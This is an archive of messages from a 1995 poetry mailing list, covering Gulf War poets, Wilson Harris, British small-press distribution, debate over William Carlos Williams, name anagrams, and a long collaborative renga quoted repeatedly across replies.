I hope some of you might be able to assist me with a question. I'm working with a graduate student here who is planning a thesis on Persian Gulf War poetry. The twist, however, is that he's interested only in poems written about the War by participants and witnesses, not those penned stateside during or after the fact by those with no eyewitness perspective on the conflict (i.e., recent work by William Heyen or Denise Levertov would not do). We've identified a number of books and broadsides that may or may not be relevant, since in most cases it's impossible to determine from an online record whether or not a given author was actually in the Middle East. So, if you've run across a relevant poem in a journal or anthology whose author was identified as being a PG vet, or if you have personal knowledge of a poet who was there, please let me know privately at [redacted]. The student is himself a Gulf War vet. Many thanks.

****

Fred Muratori "Certain themes are incurable."

(▇▇▇▇▇) - Lyn Hejinian

Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
****

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206. **cris cheek**
Re: Grolier snailmail
Fri 8 Sep 1995

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simply thanks Carolyn

love and love
cris

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207. **Aldon L. Nielsen**
Re: Talkshows, wheelbarrows & British verse
Fri 8 Sep 1995

---

so much + wheelbarrow + chickens = codependency?

It's been a long time indeed since anyone advanced to me seriously the argument that publishers and distributers respond to "interest" levels -- at least in the context of literature (ass opposed to instant books about Randy Weaver or advice on how to lose weight by reading romance novels) --

Many of us, for example, have been trying to get an American edition of C.L.R. James's _Minty Alley_, or even U.S. distribution of same for teaching in college courses -- no go -- I could go on with other examples of demonstrable "interest" -- but you see the point -- Was there really that much more interest stateside in the poetry of Paul Mulddon (who I _am_ interested in) than any of the other poets of Ireland & England mentioned here of late? Interest, as you see whenever you pay your credit card bills, is created as often as it is catered to --

ah humanity--

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208. Aldon L. Nielsen
Re: did I do that?
Fri 8 Sep 1995

My deepest apologies to everybody, especially to those digest readers -- It appears that in the process of printing up a copy of the digest so that I could hang on to an address, I did something that sent the entire digest back to the entire list -- mea culpa -- please forgive --

his fuckupness,
aldon nielsen

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209. Aldon L. Nielsen
Re: Who is Wilson Harris?
Fri 8 Sep 1995

Harris may not have been the best example for me to use on this list, since he hasn't published much poetry since his first book. but--

Wilson Harris is a prolific and poetic novelist from Guyana -- C.L.R. James once called him "the strangest of living novelists," but James hadn't read Harry Matthes at the time! Best starting point might be the _Guyana Quartet_, a gathering of his early books available from Faber & Faber. His books were difficult to get in the U.S. till about 10 years ago, at which point his Faber volumes suddenly began to appear in US bookstores --

Recent issue of _Callaloo_ has a special Harris section ably edited by Nate Mackey -- also good chapters on Harris's work in Mackey's book _Discrepant Engagement_

Palace of the Peacock is one of the greatest novels I've ever read!

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210. Jorge Guitart
Re: Two rengs dont make a write
Fri 8 Sep 1995

On Fri, 8 Sep 1995, Sheila E. Murphy wrote:

> >> > > > > > In the books were dreams and in the dreams were books.>
> >> > > > > > And flew through windows '95, lightning green and fine morning
> >> > > > > > First inverted whistle of a cardinal in the poplar
> >> > > > > > The book and the oboe on the grass under sun and cloud
> >> > > > > > Go endlessly, an obtuse Prussian blue, it binds

> >> > > > > > The caravan of windows to what they flee
> >> > > > > > These lace curtains, more gauze than bondage, more
> >> > > > > > Mollycoddled than aware, thin-spined and pebbling
> >> > > > > > but narrow in the waist or waspish Sunday years ago
> >> > > > > > Over coffee topped with whipped lads, the Times blowing
> >> > > > > > & opining, heavy humid air, cum amusing against the
> >> > > > > > bleached ribcage ripcorded into compassed wind
> >> > > > > > kissing the weatherwoman between her beasts as she
> >> > > > > > gives gracious problem: fanatical snacks, landscape of
> >> > > > > > flicka son of thunderhead and the storm in the glass of water's
> >> > > > > > halfway pertinent incision we keep making safe for ignorance
> >> > > > > > (inspection
> >> > > > > > denied for not knowing how credenza was meant) & neo-colonizing
> >> > > > > > pockets in small furniture intended house sequentially several
> >> > > > > > mountains away but it wasn't, you know, a big tango
> >> > > > > > when the attorney general came, selah hales said, "Dias, oh,ho,
> >> > > > > > kook!"
> >> > > > > > Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> >> > > > > > warehouse, curls
> >> > > > > > no ideas but the woven fabric the texture so to speak was at the
> >> > > > > > dry cleaners
> >> > > > > > piping hot and gloved-in somewhere unsalted, perched on
> >> > > > > > prescience
> >> > > > > > the chair is sad, alas, and i've lusted tootles' livers
> >> > > > > > the odor day toy a cello day dis chevys a bo coo daughter chose
> >> > > > > > encore
> >> > > > > > Flaubert because we're waiting all throughout eternity for
> >> > > > > > moments to be
> >> > > > > > of such suchness. In the nooks were creams and in the streams
> >> > > > > > were hooks.
> >> > > > > > All melded like striated film leftover in the pastel seeds of
> >> > > > > > darkness
> >> > > > > > falling like a counterirritant around the manchineel. Likewise
> >> > > > > > sandpaper juxtaposed with seasoned instruments and recently soft
> >> > > > > > fruit

> >> > > > > > of subject's object status, violent transformation
> >> > > > > > la Ste. Therese into beaming cumulus apokoinu switchback
> >> > > > > > and in the u-turns were bookmobiles rounding angles
considered
> >> > > > > > shrill as pine left in the acres to be aging
> >> > > > > > flawlessly, flutes sing genderless in trio, surprised
> >> > > > > > by how quiet effort really is or is not, fast enough to sleep
> >> > > > > > through thunderstorms, arm over thigh until light shakes
> >> > > > > > petals free of names that rain across known skin forgotten
> >> > > > > > alive in our hearse hurts, projective nurse if she is to go ahead
> >> > > > > > and dance, composing instead of straining muscles, far eyes
> >> > > > > > saunter lope pentecost beam operator will you cockpit
> >> > > > > > out, transplanted organs speak, the idiom
> >> > > > > > inseams, a snare as solvently unequal-- the power
> >> > > > > > uncreased although each snare still trembles quantum
> >> > > > > > which explains why the pump is busted and why
> >> > > > > > he preferred whole afternoons on the phone to that
> >> > > > > > crap about not having a cousin on the moon
> >> > > > > > capable of keeping the canoe right way up in the cool
> >> > > > > > prose of the upper Hudson, dinner's at seven so
> >> > > > > > start swimmin, bud: "lay me down in a wetsuit,
> >> > > > > > heats me up in the sleaze," it's like a huge dose
> >> > > > > of familiarity. I am storing radiance for later use
> >> > > > > > I know the war-whoop in each dusty narrative
> >> > > > > > among the invoices and the difference engines
> >> > > > > > Char, Lee, Parr, Kerr, everybody is here and there
> >> > > > > > collecting the stamp hinges that come in on the breeze
> >> > > > delicate lace flies into pelican Bills in the house
> >> > > of narration with partners of good moisture. Here, touch my
> >> > > > > < ebullience with a token gesture of sauce, of the red stuff.
> >> I have a lot of duende in the freezer & we can defrost some
> > > woods on a snowy evening, my horse is lovely dark and deep
> as penitence, but let's elude the shakes and drear, get lost in our palaver
 have tongue will travel not a binge of harmony which in the end goes

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211. **eric pape**
Re: Jabes
Fri 8 Sep 1995

Pierre: Not sure this will help, but I can tell you what happens on my machine. After hooking up to gopher.lsu.edu, or using one of the various menu systems to

get there, you should see a list of options ranging from Libraries, Student Life etc. One of them should be LSU-BR Campus. Select that and you should get another menu, on which "Body Electric" should appear. After that it's a fairly simple matter of following the prompts. But of course I am directly wired up to LSU's system and it is possibly a lot easier for me to hook up then you. Good luck. Thanks, Eric.

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212. **Pierre Joris**

Re: Distribution of British poetry

Fri 8 Sep 1995

Exactly right, Marjorie! _Pour la petite histoire_ re the Brit establishment, when Paul Buck & I did an anthology of the New British poetry in the very early eighties, the only place we could publish it was -- as a bi-lingual book -- in France. I sent the book to a range of Brit publishers, suggesting an all-English edition -- most of them didn't even bother to answer. It was roughly at the same time that I was fired drom the _New Statesman_ as poetry reviewer for having suggested to write a negative review of Dannie Absie's Collected Dreck.

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Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne
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213. **George Bowering**

Re: UK Resources etc

Fri 8 Sep 1995

Robin Blaser runs into something like Pierre's situation. In Canada he has not been in many anthologies (he's been in mine and Ondaatje's and Thesen's) because he used to be a USAmerican. In the States he doesnt make the anthologies like Hoover's because he is a canadian citizen. Of course some other people didnt get into Hoover's anthology, such as Lew Welch and Joel Oppenheimer!

Then there's Anselm. British or USAmerican? Well, I think he must be a Finn, because when I mentioned his name to a bus tour director in Helsinki, she rolled her eyes and said "Oh THAT one!"

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214. George Bowering
Re: magic names
Fri 8 Sep 1995

Anyone interested in anagrams of names? Here's a few for this list:

Ron Silliman: Marlin Loins

Maria Damon: Inroad Mama

Charles Alexander: Relaxed Renal Scar

Kevin Killian: Evil Kink Nail

Rae Armantrout: Arena Mutt Roar

Charles Bernstein: Cerebral Thinness (wch goes to show that there's nothing to anagrams, eh?)

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215. Shaunanne Tangney
Re: Talkshows, wheelbarrows & British verse
Fri 8 Sep 1995

On Fri, 8 Sep 1995, Aldon L. Nielsen wrote:

> *so much + wheelbarrow + chickens = codependency?*
>
> *It's been a long time indeed since anyone advanced to me seriously the argument that publishers and distributers respond to "interest" levels -- at least in the context of literature (ass opposed to instant books about Randy Weaver or advice on how to lose weight by reading romance novels) --*

ok--i nominate this for typo of the week!!
;)
shaunanne

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216. Charles Smith
Re: Wilson Harris
Fri 8 Sep 1995

"Um - who's Wilson Harris?"

I'm new to the list, but I can take a crack @ this one.

Harris is a novelist from Guyana, pub'd by faber & faber. Many, like myself, were probably made aware of his work by Nate Mackey who frequently publishes him in HAMBONE. The Fall '86 issue (#6) has a special section featuring a lecture & a Q&A seminar w/ UCSC faculty & students, as well as some critical pieces. Mackey's DISCREPANT ENGAGEMENT has 3 essays as well.

THE ANGEL AT THE GATE is as good a place as any to start reading.

(Someone searching for precedent to NM's dense prose syntax & philosophical/lyrical mix wd do well to look at WH. They're very different, but there was a 'shock of recognition' when I first read Harris.)

enjoy,

Charles Smith ---------- "Music and numbers were (one sees it now) a revelation of a fluid skeleton, a ribbed body, to be associated with the flesh of the elements, the smooth flesh of water, the spark and the animal magnetism within the anatomy and the blood of ancient streams upon which many cultures had survived and above which they buried their dead in mounds and hills. Our antecedents from all races and peoples glimpsed that skeleton as they wrestled with floods and droughts, plenty and scaricity, from times immemorial, antecedents we also glimpse in the nightsky of the ancient river through the seed of moral legend, moral theatre that they sowed, primitive constellation and metamorphoses of the voice of the flute . . . Primitive antecedent. Intimate refugee." --WH, THE FOUR BANKS OF THE RIVER OF SPACE (1990), p. 47

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217. Loss Glazier
Re: Grolier snailmail
Fri 8 Sep 1995

I've placed a short list (with addresses and phone numbers) of poetry-kind bookstores in the EPC under "small press"--then you'll see a link to "bookstores"... LPG

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218. Stephen Galen Cope
Re: Wilson Harris
Sat 9 Sep 1995

I believe it was Caliban recently devoted
an issue to Harris' work. Saw it in NY (St.

Marks), and think Mackey's actually the
guest editor...

-Stephen Cope

↑ Index

219. Sheila E. Murphy
Re: Two rengs dont make a write
Sat 9 Sep 1995

>On Fri, 8 Sep 1995, Sheila E. Murphy wrote:
>
>> >> > > > > > In the books were dreams and in the dreams were books.>
>> >> > > > > > And flew through windows '95, lightning green and fine morning
>> >> > > > > > First inverted whistle of a cardinal in the poplar
>> >> > > > > > The book and the oboe on the grass under sun and cloud
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>> >> > > > > > Mollycoddled than aware, thin-spined and pebbling
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>> >> > > > > > Over coffee topped with whipped lads, the Times blowing
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>> >> > > > > > start swimmin, bud: "lay me down in a wetsuit,
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>> > > woods on a snowy evening, my horse is lovely dark and deep
>> as penitence, but let's elude the shakes and drear, get lost in our palaver
> have tongue will travel not a binge of harmony which in the end goes
meerschaum on us till we blink ourselves to creeping where the

↑ Index

220. Charles Smith
Re: magic names
Sat 9 Sep 1995

Sorry folks, I can't resist:

George Bowering: beer growing ego

↑ Index

221. Rod Smith
Re: magic names
Sat 9 Sep 1995

Charles Smith wrote:
>Sorry folks, I can't resist:

> *George Bowering: beer growing ego*

then of course there's

George Bowering: groin going boo

tho of course these anagrams aren't as, shall we say, "pure," as those first posted.

↑ Index

222. George Bowering
Re: more magic names
Sat 9 Sep 1995

Eric Pape: Epic Pear (well, what else can ya do with such a short name?)

Aldon N. Nielson: Laden Neon Sill

Marjorie Perloff: Firmer Floor Jape

Sheila Murphy: Airy Hemp Lush

I. Lightman: Thing Mail

(well, they cant ALL be zingers)

↑ Index

223. Ken Edwards
Wilson Harris, UK poetry & more
Sat 9 Sep 1995

Thanks to everyone who enlightened me on Wilson Harris. My question was semi-flippant, out of puzzlement, but he seems pretty interesting from the descriptions and I shall seek out his novels at any rate.

Thanks too to Marjorie for her helpful comments about distribution of poetries in English, and suggestions for journals to send review copies to - I shall follow this up on behalf of Reality Street Editions. NB I have addresses for most of the journals on that list, but not for DENVER QUARTERLY, LINGO or TO. Anyone help? And if you know of any other journals that would (sympathetically I hope!) review the products of a UK small press....

I remember the Compendium small-press section of the 1970s very well - virtually the space of a whole shop devoted to small press material. I don't think its demise can be attributed solely to Nick Kimberley's moving on (he's shifted from reggae to opera & classical music by the way, now writes articles about it in the Sunday papers - I saw him recently at a concert and had a good chat with him). Since the 70s the accountants have moved into the book trade in a big way and now the game is all about brand recognition, profit margins and turning product over as quickly as possible. I first recognised the change when I went into Dillon's opposite London University Senate House one day in the 80s with the latest issue of Reality Studios, which they'd always taken before. The lady at the desk glanced at it wearily, said: "I really don't think I can be bothered with this any more" and handed it back.

Ira, you should talk to Mike Hart, who's one of the people running Compendium these days, and persuade him to stock some of the authors you mention. I've always found him very helpful.

Ken Edwards

↑ Index

224. W. Northcutt
Red Wheelbarrow and that Damned Chicken
Sat 9 Sep 1995

Re Williams...Isn't part of the point of Williams's poety to be "boring"? I mean, somedays I've had enough of bloody swords and crimson ground in Pound's "Sestina Altaforte" and I'm quite happy to read a bit of Williams dancing naked around his house.But seriously, "boring" seems to be an easy word to throw around, although, after teaching Williams to hoards of skeptic undergraduates, it also seems to be a legitimate word to use. I would, however, like some elaboration about the way y'all mean it.

William Northcutt

↑ Index

225. H. T. KIRBY-SMITH
Red Wheelbarrow
Sat 9 Sep 1995

The thing about Williams was that he succeeded as no other poet has in doing things that were completely fresh and unexpected. This cost him readers for most of his life. If you go back to early issues of those English magazines published around 1910 you find many of his poems published along with Pound's, along with portions of Joyce's Portrait, Amy Lowell, Ford Madox Ford, etc.--and Eliot. Then he couldn't bring himself to climb aboard the High Modernist bandwagon and his reputation languished for more than twenty-five years.

Funny thing how it was Yvor Wnters in the 1920s who wrote the most admiring and appreciative comments on Williams--though in later years they made remarks about each other that were kind of like what generals say about each other years after a war.

I do hope that I did not offend anyone by being unable to be bored with Williams. He does tire me out with his variety sometimes, especially in Paterson--but that is a case of, as a little girl once said after three hours of Barnum and Bailey, "Too much circus."

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

↑ Index

226. cris cheek
Re: desire / and the 39 steps
Sat 9 Sep 1995

become an exclamation, as fury of grieving confusions raised from parting lips towards light grounded. became short hand for joy. the lathered syntax of versical sex. riding fringes saddle sore from pine damaged heritage. tense - oblivions of surface language.

↑ Index

227. cris cheek
Re: desire / and the 39 steps
Sat 9 Sep 1995

hoot succoured from carnival bulling the sad to sleep. has being and put upon being.

late falling light. its mercury wreath a dark promise to sky. a whipped bay tree looking-to deep in the surface of things its necessity.

↑ Index

228. Charles Alexander
place, so to speak
Sat 9 Sep 1995

Clogging up the poetics list with housekeeping, I know, but please note:

Charles Alexander & Chax Press
may now be reached for e-mail only at the address

[redacted]

The old address is no longer valid.
Otherwise, phone number & fax number & p.o. box & street address remain the same, at least for now.

all best wishes,
charles alexander
Charles Alexander
Chax Press

P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted]

↑ Index

229. **Jorge Guitart**

Re: Two rengs dont make a write

Sat 9 Sep 1995

Sheila E. Murphy a.k.a Sheila E. Murphy wrought

> *In the books were dreams and in the dreams were books.>*
> *And flew through windows '95, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
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> *Over coffee topped with whipped lads, the Times blowing*
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> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her beasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
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> *halfway pertinent incision we keep making safe for ignorance (inspection*
> *denied for not knowing how credenza was meant) & neo-colonizing*
> *pockets in small furniture intended house sequentially several*
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> *Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls*
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> *falling like a counterirritant around the manchineel. Likewise*
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> *and in the u-turns were bookmobiles rounding angles considered*
> *shrill as pine left in the acres to be aging*
> *flawlessly, flutes sing genderless in trio, surprised*
> *by how quiet effort really is or is not, fast enough to sleep*
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> *out, transplanted organs speak, the idiom*
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> *which explains why the pump is busted and why*
> *he preferred whole afternoons on the phone to that*
> *crap about not having a cousin on the moon*
> *capable of keeping the canoe right way up in the cool*
> *prose of the upper Hudson, dinner's at seven so*
> *start swimmin, bud: "lay me down in a wetsuit,*
> *heats me up in the sleaze," it's like a huge dose*
> *of familiarity. I am storing radiance for later use*
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> *Char, Lee, Parr, Kerr, everybody is here and there*
> *> collecting the stamp hinges that come in on the breeze*
> *delicate lace flies into pelican Bills in the house*
> *of narration with partners of good moisture. Here, touch my*
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> *I have a lot of duende in the freezer & we can defrost some*
> *> woods on a snowy evening, my horse is lovely dark and deep*
> *as penitence, but let's elude the shakes and drear, get lost in our palaver*
> *have tongue will travel not a binge of harmony which in the end goes*
> *meerschaum on us till we blink ourselves to creeping where the*
> *sublime is cows bathing in starlight. Give temporality a rest, for*

↑ Index

230. Jorge Guitart
Re: magic name
Sat 9 Sep 1995

Ch. smears `lith'

On Sat, 9 Sep 1995, Charles Smith wrote:

> *Sorry folks, I can't resist:*
>
> *George Bowering: beer growing ego*

↑ Index

231. Lindz Williamson
thanks
Sat 9 Sep 1995

I got cut off from the net, UBC is not very giving when it comes to going over your account limit. Anyways, I can't remember if I thanked Jordan for giving me Todd Colby's address. So thanks if you were not previously thanked, or thank you again.

Also I didn't read the 178 messages in my mailbox, just kept on pushing D, so I'll be lurking for awhile until I figure out what's going on. But I'm back for now, but I don't know how long. I'm not sure when my account runs out for good. I think it's december, but I'm not sure. So if I'm suddenly gone, it's not because I want to be.

Lindz

↑ Index

232. Charles Bernstein
agency (2)
Sat 9 Sep 1995

Oops! I didn't mean to send this message to the whole list!

-

↑ Index

233. Ryan Knighton
Re: magic names
Sat 9 Sep 1995

I knew there was a reason he wouldn't tell me his. I'm Yanking Thorn, apparently.

> *Sorry folks, I can't resist:*
>
> *George Bowering: beer growing ego*

↑ Index

234. Burt Kimmelman
Re: Red Wheelbarrow
Sat 9 Sep 1995

I'm sorry that I feel compelled to come out into the light from the dark serenity of that shadowy world where, I presume, so many lurk (too dark to know for sure),

but anyway this debate about Williams being boring is to me, frankly, utterly astonishing (Ed Foster: You were kidding about WCW being boring, right? Or was it Jordan?) and, if it is to be taken seriously, quite ironic (it is all too uncomfortably similar to an article in the New Criterion by Bruce Bawer, that retrograde neanderthal who thinks nothing good has been written--he says in the piece--since Jeffers, and who can't see in Williams anything but triteness and who attack's Marjorie Perloff's work on him [correction: attacks]; in other words, Bawer doesn't get it).

Williams to me is coming to be the most important poet, in the US at least, in the century. He has influenced (forgive me if I am beginning to sound a bit trite and platitudinous myself--but apparently he needs defending) poetry so deeply and widely that I guess we are taking him for granted or simply not seeing what is there, like the air we breathe. He is solid like the comforting thingliness of his imagery and his music is subtle and wonderfully unadorned though precise.

To me he has never and I dare say will never be boring. And as I get older he is ever more wise and heartbreaking, and a cherished friend.

Burt Kimmelman

↑ Index

235. Sheila E. Murphy
Re: Two rengs dont make a write
Sat 9 Sep 1995

Jorge wrote:
>> >> >> > > > > > In the books were dreams and in the dreams were books.>
>> >> >> > > > > > And flew through windows '95, lightning green and fine

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236. Charles Alexander

Re: Two rengs dont make a write

Sat 9 Sep 1995

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>> >> >> > > > > > among the invoices and the difference engines
>> >> >> > > > > > Char, Lee, Parr, Kerr, everybody is here and there
>> >> >> > > > > collecting the stamp hinges that come in on the breeze
>> >> >> > > delicate lace flies into pelican Bills in the house
>> >> >> > > of narration with partners of good moisture. Here, touch my

>> >> >> > > > > < ebullience with a token gesture of sauce, of the red stuff.
>> >> >> I have a lot of duende in the freezer & we can defrost some
>> >> > > woods on a snowy evening, my horse is lovely dark and deep
>> >> as penitence, but let's elude the shakes and drear, get lost in our
palaver
>> > have tongue will travel not a binge of harmony which in the end goes
>> meerschaum on us till we blink ourselves to creeping where the
>> sublime is cows bathing in starlight. Give temporality a rest, for
renku went to sleep, foul poets made it shun the public light, again
Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted]

↑ Index

237. Charles Alexander

no way it's renga, forgive

Sat 9 Sep 1995

In the
lightning morning
inverted cardinal
oboe on grass under
obtuse Prussian
windows to what
bondage, more
than aware, pebbling
Sunday
Times
air amusing the
compassed wind
kissing beasts she
snacks of
water's
incision
(how credenza was meant)
sequentially
it wasn't
general, oh,ho
Tootin' Through

no ideas but
unsalted
and i've lusted
a cello day
throughout eternity
creams and
striated leftover in pastel
counterirritant
juxtaposed with
soft fruit violent transformation
switchback
and angles
to be aging
in trio
or is not
over thigh
across known skin
hurts, projective
instead of straining
cockpit
the idiom
solvently unequal
quantum
pump why
afternoons to that
moon
canoe up in the
dinner so
lay me in
up in
radiance for later use
in each narrative
engine
here and there
hinges come in on
lace in house
of partners touch my
token sauce
in the & can some
snowy lovely and
elude shakes in our
harmony end

till ourselves where the
temporality for
onslaughts of hidden
slip in sudden, might alter

↑ Index

238. George Bowering

Re: Two rengs dont make a write

Sun 10 Sep 1995

>
>
>> >> >> > > > > > In the books were dreams and in the dreams were books.>
> > >> >> > > > > > And flew through windows '95, lightning green and fine morning
> > >> >> > > > > > First inverted whistle of a cardinal in the poplar
> > >> >> > > > > > The book and the oboe on the grass under sun and cloud
> > >> >> > > > > > Go endlessly, an obtuse Prussian blue, it binds
> > >> >> > > > > > The caravan of windows to what they flee
> > >> >> > > > > > These lace curtains, more gauze than bondage, more
> > >> >> > > > > > Mollycoddled than aware, thin-spined and pebbling
> > >> >> > > > > > but narrow in the waist or waspish Sunday years ago
> > >> >> > > > > > Over coffee topped with whipped lads, the Times blowing
> > >> >> > > > > > & opining, heavy humid air, cum amusing against the
> > >> >> > > > > > bleached ribcage ripcorded into compassed wind
> > >> >> > > > > > kissing the weatherwoman between her beasts as she
> > >> >> > > > > > gives gracious problem: fanatical snacks, landscape of
> > >> >> > > > > > flicka son of thunderhead and the storm in the glass of water'
> s
> > >> >> > > > > > halfway pertinent incision we keep making safe for ignorance
> > >> >> > > > > > (inspection
> > >> >> > > > > > denied for not knowing how credenza was meant) & neo-colonizin
> g
> > >> >> > > > > > pockets in small furniture intended house sequentially several
> > >> >> > > > > > mountains away but it wasn't, you know, a big tango

> > >> >> > > > > > untwisted, roundaboutness put aside
> > >> >> > > > > > when the attorney general came, selah hales said, "Dias, oh,ho
> ,
> > >> >> > > > > > kook!"
> > >> >> > > > > > Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> > >> >> > > > > > warehouse, curls
> > >> >> > > > > > no ideas but the woven fabric the tQ/=myexture so to speak was at t
> > >> >> > > > > > dry cleaners
> > >> >> > > > > > piping hot and gloved-in somewhere unsalted, perched on
> > >> >> > > > > > prescience
> > >> >> > > > > > the chair is sad, alas, and i've lusted tootles' livers
> > >> >> > > > > > the odor day toy a cello day dis chevys a bo coo daughter chos
> e
> > >> >> > > > > > encore
> > >> >> > > > > > Flaubert because we're waiting all throughout eternity for
> > >> >> > > > > > moments to be
> > >> >> > > > > > of such suchness. In the nooks were creams and in the streams
> > >> >> > > > > > were hooks.
> > >> >> > > > > > All melded like striated film leftover in the pastel seeds of
> > >> >> > > > > > darkness
> > >> >> > > > > > falling like a counterirritant around the manchineel. Likewise
> > >> >> > > > > > sandpaper juxtaposed with seasoned instruments and recently so
> ft
> > >> >> > > > > > fruit
> > >> >> > > > > > of subject's object status, violent transformation
> > >> >> > > > > > la Ste. Therese into beaming cumulus apokoinu switchback
> > >> >> > > > > > and in the u-turns were bookmobiles rounding angles considered
> > >> >> > > > > > shrill as pine left in the acres to be aging
> > >> >> > > > > > flawlessly, flutes sing genderless in trio, surprised
> > >> >> > > > > > by how quiet effort really is or is not, fast enough to

sleep
> > >> >> > > > > > through thunderstorms, arm over thigh until light
shakes
> > >> >> > > > > > petals free of names that rain across known skin
forgotten
> > >> >> > > > > > alive in our hearse hurts, projective nurse if she is to go
> > ahead
> > >> >> > > > > > and dance, composing instead of straining muscles, far
eyes
> > >> >> > > > > > saunter lope pentecost beam operator will you cockpit
> > >> >> > > > > > out, transplanted organs speak, the idiom
> > >> >> > > > > > inseams, a tomtom as solvently unequal-- the power
> > >> >> > > > > > uncreased although each snare still trembles quantum
> > >> >> > > > > > which explains why the pump is busted and why
> > >> >> > > > > > he preferred whole afternoons on the phone to that
> > >> >> > > > > > crap about not having a cousin on the moon
> > >> >> > > > > > capable of keeping the canoe right way up in the cool
> > >> >> > > > > > prose of the upper Hudson, dinner's at seven so
> > >> >> > > > > > start swimmin, bud: "lay me down in a wetsuit,
> > >> >> > > > > > heats me up in the sleaze," it's like a huge dose
> > >> >> > > > > of familiarity. I am storing radiance for later use
> > >> >> > > > > > I know the war-whoop in each dusty narrative
> > >> >> > > > > > among the invoices and the difference engines
> > >> >> > > > > > Char, Lee, Parr, Kerr, everybody is here and there
> > >> >> > > > > collecting the stamp hinges that come in on the breeze
> > >> >> > > > delicate lace flies into pelican Bills in the house
> > >> >> > > of narration with partners of good moisture. Here, touch
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> > >> >> > > > < ebullience with a token gesture of sauce, of the red
stuff.
> > >> >> I have a lot of duende in the freezer & we can defrost some
> > >> > > woods on a snowy evening, my horse is lovely dark and deep
> > >> as penitence, but let's elude the shakes and drear, get lost in our
palaver
> > > have tongue will travel not a binge of harmony which in the end goes
> > meerschaum on us till we blink ourselves to creeping where the
> > sublime is cows bathing in starlight. Give temporality a rest, for
> > > heaven tries its damnedest to get on late night talk shows

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239. **Thomas Bell**
Re: Two rengs dont make a write
Sun 10 Sep 1995

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G
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240. **Jorge Guitart**
Re: Two rengs dont make a write
Sun 10 Sep 1995

Sheila wrote:
> Jorge wrote:
> >> >> >> > > > > > In the books were dreams and in the dreams were books.>
> >> >> >> > > > > > And flew through windows '95, lightning green and fine
> morning
> >> >> >> > > > > > First inverted whistle of a cardinal in the poplar
> >> >> >> > > > > > The book and the oboe on the grass under sun and

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> >> >> >> > > > > > Go endlessly, an obtuse Prussian blue, it binds
> >> >> >> > > > > > The caravan of windows to what they flee
> >> >> >> > > > > > These lace curtains, more gauze than bondage, more
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> >> >> >> > > > > > but narrow in the waist or waspish Sunday years ago
> >> >> >> > > > > > Over coffee topped with whipped lads, the Times
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> >> >> >> > > > > > & opining, heavy humid air, cum amusing against the
> >> >> >> > > > > > bleached ribcage ripcorded into compassed wind
> >> >> >> > > > > > kissing the weatherwoman between her beasts as she
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> >> >> >> > > > > > flicka son of thunderhead and the storm in the glass of
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> >> >> >> > > > > > denied for not knowing how credenza was meant) &
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> >> >> >> > > > > > when the attorney general came, selah hales said,
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> oh,ho
> >,
> >> >> >> > > > > > kook!"
> >> >> >> > > > > > Edward Kennedy Ellington! "Tootin' Through the
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> >> >> >> > > > > > warehouse, curls
> >> >> >> > > > > > no ideas but the woven fabric the texture so to speak
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> chos
> >e
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> >> >> >> > > > > > Flaubert because we're waiting all throughout eternity for
> >> >> >> > > > > > moments to be
> >> >> >> > > > > > of such suchness. In the nooks were creams and in the streams
> >> >> >> > > > > > were hooks.
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> >> >> >> > > > > > darkness
> >> >> >> > > > > > falling like a counterirritant around the manchineel.
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> >> >> >> > > > > > sandpaper juxtaposed with seasoned instruments and
> recently so
> >ft
> >> >> >> > > > > > fruit
> >> >> >> > > > > > of subject's object status, violent transformation
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> >> >> >> > > > > > saunter lope pentecost beam operator will you cockpit
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> >> >> >> > > > > > uncreased although each snare still trembles quantum
> >> >> >> > > > > > which explains why the pump is busted and why

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> >> >> >> > > > > > capable of keeping the canoe right way up in the cool
> >> >> >> > > > > > prose of the upper Hudson, dinner's at seven so
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> >> >> > > woods on a snowy evening, my horse is lovely dark and
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> >> >> as penitence, but let's elude the shakes and drear, get lost in our
> palaver
> >> > have tongue will travel not a binge of harmony which in the end goes
> >> meerschaum on us till we blink ourselves to creeping where the
> >> sublime is cows bathing in starlight. Give temporality a rest, for
> widest space succombs to onslaughts of hidden porchlight in the latitude
> that she has given his longitude. Depth is directly stated. A signal

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241. H. T. KIRBY-SMITH
permission
Sun 10 Sep 1995

I would like to ask permission to include a section, or version, or segment, --maybe it should be called a cutting or a slice or few verterbrae or a half-pound--of the renga in a book the title of which is BEYOND FREE VERSE. At first I just wrote it up as below because it seemed to me that it was like asking permission to print a picture of a snake dance.

But then I thought maybe it would be best to allow anyone who wants to claim credit for any of it to do so.

Is this OK?

Here is my present text. I am afraid that I do not wish for suggestions as to taking some other half-pound of it--I liked this hunk pretty well. But please let me know if what I say about it seems unfair. I realize that to some people this will be sloppy scholarship, but I never did get a Ph.D.

Also, the format is not right in this message, but that's just my mail server's way of doing things.

****

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped lads, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her beasts as she
gives gracious problem: fanatical snacks, landscape of
flicka my best friend and the storm in the glass of water's
halfway pertinent incision we keep making safe for
ignorance
(inspection
denied for not knowing how credenza was meant) &
neo-colonizing
pockets in small furniture intended house sequentially
several
mountains away but it wasn't, you know, a big tango
when the attorney general came, selah hales said, "Dias,
oh,ho, kook!"
Edward Kennedy Ellington! "Tootin' Through the Roof"
Tobacco warehouse, curls
no ideas but the woven fabric the texture so to speak was
